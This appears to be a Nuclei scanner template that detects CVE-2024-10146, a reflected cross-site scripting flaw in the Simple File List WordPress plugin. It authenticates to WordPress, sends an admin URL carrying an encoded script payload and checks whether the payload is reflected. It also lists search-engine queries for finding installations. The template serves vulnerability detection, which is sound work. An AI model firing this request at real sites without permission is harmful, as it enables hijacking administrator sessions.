漏洞描述
Simple File List WordPress plugin \u003C 6.1.13 contains a reflected cross-site scripting caused by unsanitized URL output in an attribute, letting attackers execute malicious scripts in admin browsers, exploit requires victim to be an admin.
id: CVE-2024-10146
info:
name: Simple File List < 6.1.13 - Reflected Cross-Site Scripting
author: 0x_AKoko
severity: medium
description: |
Simple File List WordPress plugin \u003C 6.1.13 contains a reflected cross-site scripting caused by unsanitized URL output in an attribute, letting attackers execute malicious scripts in admin browsers, exploit requires victim to be an admin.
impact: |
Attackers can execute malicious scripts in admin browsers, potentially leading to session hijacking or privilege escalation.
remediation: |
Update to version 6.1.13 or later.
reference:
- https://wpscan.com/vulnerability/9ee74a0f-83ff-4c15-a114-f8f6baab8bf5/
- https://nvd.nist.gov/vuln/detail/CVE-2024-10146
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2024-10146
cwe-id: CWE-79
epss-score: 0.00301
epss-percentile: 0.53007
cpe: cpe:2.3:a:simplefilelist:simple_file_list:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 3
vendor: simplefilelist
product: simple_file_list
framework: wordpress
fofa-query: "wp-content/plugins/simple-file-list/"
google-query: inurl:"/wp-content/plugins/simple-file-list/"
tags: cve,cve2024,wpscan,wordpress,wp-plugin,wp,simple-file-list,xss,authenticated
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=ee-simple-file-list&tab=settings&subtab=uploader_settings&nfqis%22%3e%3cscript%3eeval(atob(%22YWxlcnQoJ2RvY3VtZW50LmRvbWFpbicp%22))%3c%2fscript%3eepkajs8ophd=1 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(body, "<script>eval(atob(\"YWxlcnQoJ2RvY3VtZW50LmRvbWFpbicp\"))</script>")
- contains(body, 'Simple File List')
condition: and
# digest: 4a0a004730450221008162795ca2c7c045f25cd945976684e45f0bac32d38e3c5ea4597bbf46ceea4e02207a93caedbaaf70a05f24ede16a34243b476a9a0498d11e0d4929861386a7a76c:922c64590222798bb761d5b6d8e72950